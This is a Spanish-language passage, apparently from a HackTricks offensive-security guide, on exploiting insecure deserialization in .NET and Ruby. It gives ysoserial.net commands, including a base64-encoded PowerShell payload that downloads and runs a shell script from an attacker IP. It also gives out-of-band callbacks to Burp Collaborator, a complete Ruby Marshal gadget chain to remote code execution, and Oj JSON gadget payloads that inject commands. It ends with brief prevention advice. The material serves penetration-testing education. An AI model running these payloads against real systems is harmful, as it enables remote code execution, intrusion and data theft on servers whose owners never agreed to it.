Si deseas aprender sobre cómo ysoserial.net crea su exploit, puedes consultar esta página donde se explica el gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter.
Las principales opciones de ysoserial.net son: --gadget
, --formatter
, --output
y --plugin
.
--gadget
se usa para indicar el gadget a abusar (indicar la clase/función que será abusada durante la deserialización para ejecutar comandos).--formatter
, se usa para indicar el método para serializar el exploit (necesitas saber qué biblioteca está utilizando el backend para deserializar la carga y usar la misma para serializarla).--output
se usa para indicar si deseas el exploit en raw o base64 codificado. Ten en cuenta que ysoserial.net codificará la carga utilizando UTF-16LE (codificación utilizada por defecto en Windows), así que si obtienes el raw y simplemente lo codificas desde una consola de linux, podrías tener algunos problemas de compatibilidad de codificación que impedirán que el exploit funcione correctamente (en la caja JSON de HTB, la carga funcionó tanto en UTF-16LE como en ASCII, pero esto no significa que siempre funcionará).--plugin
ysoserial.net admite plugins para crear exploits para marcos específicos como ViewState.
Más parámetros de ysoserial.net
--minify
proporcionará una carga útil más pequeña (si es posible)--raf -f Json.Net -c "anything"
Esto indicará todos los gadgets que se pueden usar con un formateador proporcionado (Json.Net
en este caso)--sf xml
puedes indicar un gadget (-g
) y ysoserial.net buscará formateadores que contengan "xml" (sin distinción de mayúsculas y minúsculas)
Ejemplos de ysoserial para crear exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net también tiene un parámetro muy interesante que ayuda a entender mejor cómo funciona cada exploit: --test
Si indicas este parámetro, ysoserial.net intentará el exploit localmente, así podrás probar si tu payload funcionará correctamente.
Este parámetro es útil porque si revisas el código encontrarás fragmentos de código como el siguiente (de ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Esto significa que para probar la explotación, el código llamará a serializersHelper.JsonNet_deserialize
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
En el código anterior es vulnerable al exploit creado. Así que si encuentras algo similar en una aplicación .Net, significa que probablemente esa aplicación también sea vulnerable.
Por lo tanto, el --test
permite entender qué fragmentos de código son vulnerables al exploit de deserialización que ysoserial.net puede crear.
ViewState
Echa un vistazo a este POST sobre cómo intentar explotar el parámetro __ViewState de .Net para ejecutar código arbitrario. Si ya conoces los secretos utilizados por la máquina víctima, lee este post para saber cómo ejecutar código.
Prevención
Para mitigar los riesgos asociados con la deserialización en .Net:
- Evitar permitir que los flujos de datos definan sus tipos de objeto. Utiliza
DataContractSerializer
oXmlSerializer
cuando sea posible. - Para
JSON.Net
, estableceTypeNameHandling
enNone
: %%%TypeNameHandling = TypeNameHandling.None%%% - Evitar usar
JavaScriptSerializer
con unJavaScriptTypeResolver
. - Limitar los tipos que pueden ser deserializados, entendiendo los riesgos inherentes con los tipos de .Net, como
System.IO.FileInfo
, que puede modificar las propiedades de los archivos del servidor, lo que podría llevar a ataques de denegación de servicio. - Tener cuidado con los tipos que tienen propiedades riesgosas, como
System.ComponentModel.DataAnnotations.ValidationException
con su propiedadValue
, que puede ser explotada. - Controlar de manera segura la instanciación de tipos para evitar que los atacantes influyan en el proceso de deserialización, haciendo que incluso
DataContractSerializer
oXmlSerializer
sean vulnerables. - Implementar controles de lista blanca utilizando un
SerializationBinder
personalizado paraBinaryFormatter
yJSON.Net
. - Mantenerse informado sobre gadgets de deserialización inseguros conocidos dentro de .Net y asegurarse de que los deserializadores no instancien tales tipos.
- Aislar el código potencialmente riesgoso del código con acceso a internet para evitar exponer gadgets conocidos, como
System.Windows.Data.ObjectDataProvider
en aplicaciones WPF, a fuentes de datos no confiables.
Referencias
- Documento sobre deserialización JSON en Java y .Net: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, charla: https://www.youtube.com/watch?v=oUAeWhW5b8c y diapositivas: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
En Ruby, la serialización se facilita mediante dos métodos dentro de la biblioteca marshal. El primer método, conocido como dump, se utiliza para transformar un objeto en un flujo de bytes. Este proceso se conoce como serialización. Por el contrario, el segundo método, load, se emplea para revertir un flujo de bytes de nuevo a un objeto, un proceso conocido como deserialización.
Para asegurar objetos serializados, Ruby emplea HMAC (Código de Autenticación de Mensajes Basado en Hash), asegurando la integridad y autenticidad de los datos. La clave utilizada para este propósito se almacena en una de varias ubicaciones posibles:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Cadena de gadgets de deserialización genérica de Ruby 2.X a RCE (más información en https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Otra cadena de RCE para explotar Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Método Ruby .send()
Como se explica en este informe de vulnerabilidad, si alguna entrada no sanitizada de un usuario llega al método .send()
de un objeto ruby, este método permite invocar cualquier otro método del objeto con cualquier parámetro.
Por ejemplo, llamar a eval y luego código ruby como segundo parámetro permitirá ejecutar código arbitrario:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Además, si solo un parámetro de .send()
es controlado por un atacante, como se mencionó en el escrito anterior, es posible llamar a cualquier método del objeto que no necesite argumentos o cuyos argumentos tengan valores predeterminados.
Para esto, es posible enumerar todos los métodos del objeto para encontrar algunos métodos interesantes que cumplan con esos requisitos.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Contaminación de clases Ruby
Verifique cómo podría ser posible contaminar una clase Ruby y abusar de ella aquí.
Contaminación _json de Ruby
Al enviar en un cuerpo algunos valores no hashables como un array, se agregarán a una nueva clave llamada _json
. Sin embargo, es posible que un atacante también establezca en el cuerpo un valor llamado _json
con los valores arbitrarios que desee. Luego, si el backend, por ejemplo, verifica la veracidad de un parámetro pero luego también utiliza el parámetro _json
para realizar alguna acción, se podría llevar a cabo una elusión de autorización.
Consulte más información en la página de contaminación _json de Ruby.
Otras bibliotecas
Esta técnica fue tomada de esta publicación de blog.
Hay otras bibliotecas de Ruby que se pueden usar para serializar objetos y, por lo tanto, que podrían ser abusadas para obtener RCE durante una deserialización insegura. La siguiente tabla muestra algunas de estas bibliotecas y el método que llaman de la biblioteca cargada cada vez que se deserializan (función para abusar para obtener RCE básicamente):
Biblioteca | Datos de entrada | Método de inicio dentro de la clase |
Marshal (Ruby) | Binario | _load |
Oj | JSON | hash (la clase debe ser puesta en hash(map) como clave) |
Ox | XML | hash (la clase debe ser puesta en hash(map) como clave) |
Psych (Ruby) | YAML | hash (la clase debe ser puesta en hash(map) como clave)init_with |
JSON (Ruby) | JSON | json_create ([ver notas sobre json_create al final](#table-vulnerable-sinks)) |
Ejemplo básico:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
En el caso de intentar abusar de Oj, fue posible encontrar una clase gadget que dentro de su función hash
llamará a to_s
, que llamará a spec, que llamará a fetch_path, lo que fue posible hacer que obtuviera una URL aleatoria, proporcionando un gran detector de este tipo de vulnerabilidades de deserialización no sanitizadas.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Además, se encontró que con la técnica anterior también se crea una carpeta en el sistema, que es un requisito para abusar de otro gadget con el fin de transformar esto en un RCE completo con algo como:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Consulta más detalles en la publicación original.
Bootstrap Caching
No es realmente una vulnerabilidad de deserialización, sino un buen truco para abusar del almacenamiento en caché de bootstrap para obtener RCE de una aplicación Rails con una escritura de archivo arbitraria (encuentra la publicación original completa aquí).
A continuación se presenta un breve resumen de los pasos detallados en el artículo para explotar una vulnerabilidad de escritura de archivo arbitraria abusando del almacenamiento en caché de Bootsnap:
- Identificar la Vulnerabilidad y el Entorno
La funcionalidad de carga de archivos de la aplicación Rails permite a un atacante escribir archivos de manera arbitraria. Aunque la aplicación se ejecuta con restricciones (solo ciertos directorios como tmp son escribibles debido al usuario no root de Docker), esto aún permite escribir en el directorio de caché de Bootsnap (típicamente bajo tmp/cache/bootsnap).
- Entender el Mecanismo de Caché de Bootsnap
Bootsnap acelera los tiempos de arranque de Rails almacenando en caché el código Ruby compilado, archivos YAML y JSON. Almacena archivos de caché que incluyen un encabezado de clave de caché (con campos como versión de Ruby, tamaño de archivo, mtime, opciones de compilación, etc.) seguido del código compilado. Este encabezado se utiliza para validar la caché durante el inicio de la aplicación.
- Reunir Metadatos del Archivo
El atacante primero selecciona un archivo objetivo que probablemente se cargue durante el inicio de Rails (por ejemplo, set.rb de la biblioteca estándar de Ruby). Al ejecutar código Ruby dentro del contenedor, extraen metadatos críticos (como RUBY_VERSION, RUBY_REVISION, tamaño, mtime y compile_option). Estos datos son esenciales para crear una clave de caché válida.
- Calcular la Ruta del Archivo de Caché
Al replicar el mecanismo de hash FNV-1a de 64 bits de Bootsnap, se determina la ruta correcta del archivo de caché. Este paso asegura que el archivo de caché malicioso se coloque exactamente donde Bootsnap lo espera (por ejemplo, bajo tmp/cache/bootsnap/compile-cache-iseq/).
- Crear el Archivo de Caché Malicioso
El atacante prepara una carga útil que:
- Ejecuta comandos arbitrarios (por ejemplo, ejecutando id para mostrar información del proceso).
- Elimina la caché maliciosa después de la ejecución para evitar explotación recursiva.
- Carga el archivo original (por ejemplo, set.rb) para evitar que la aplicación se bloquee.
Esta carga útil se compila en código Ruby binario y se concatena con un encabezado de clave de caché cuidadosamente construido (usando los metadatos recopilados previamente y el número de versión correcto para Bootsnap).
- Sobrescribir y Activar la Ejecución Usando la vulnerabilidad de escritura de archivo arbitraria, el atacante escribe el archivo de caché elaborado en la ubicación calculada. A continuación, activan un reinicio del servidor (escribiendo en tmp/restart.txt, que es monitoreado por Puma). Durante el reinicio, cuando Rails requiere el archivo objetivo, se carga el archivo de caché malicioso, lo que resulta en ejecución remota de código (RCE).
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.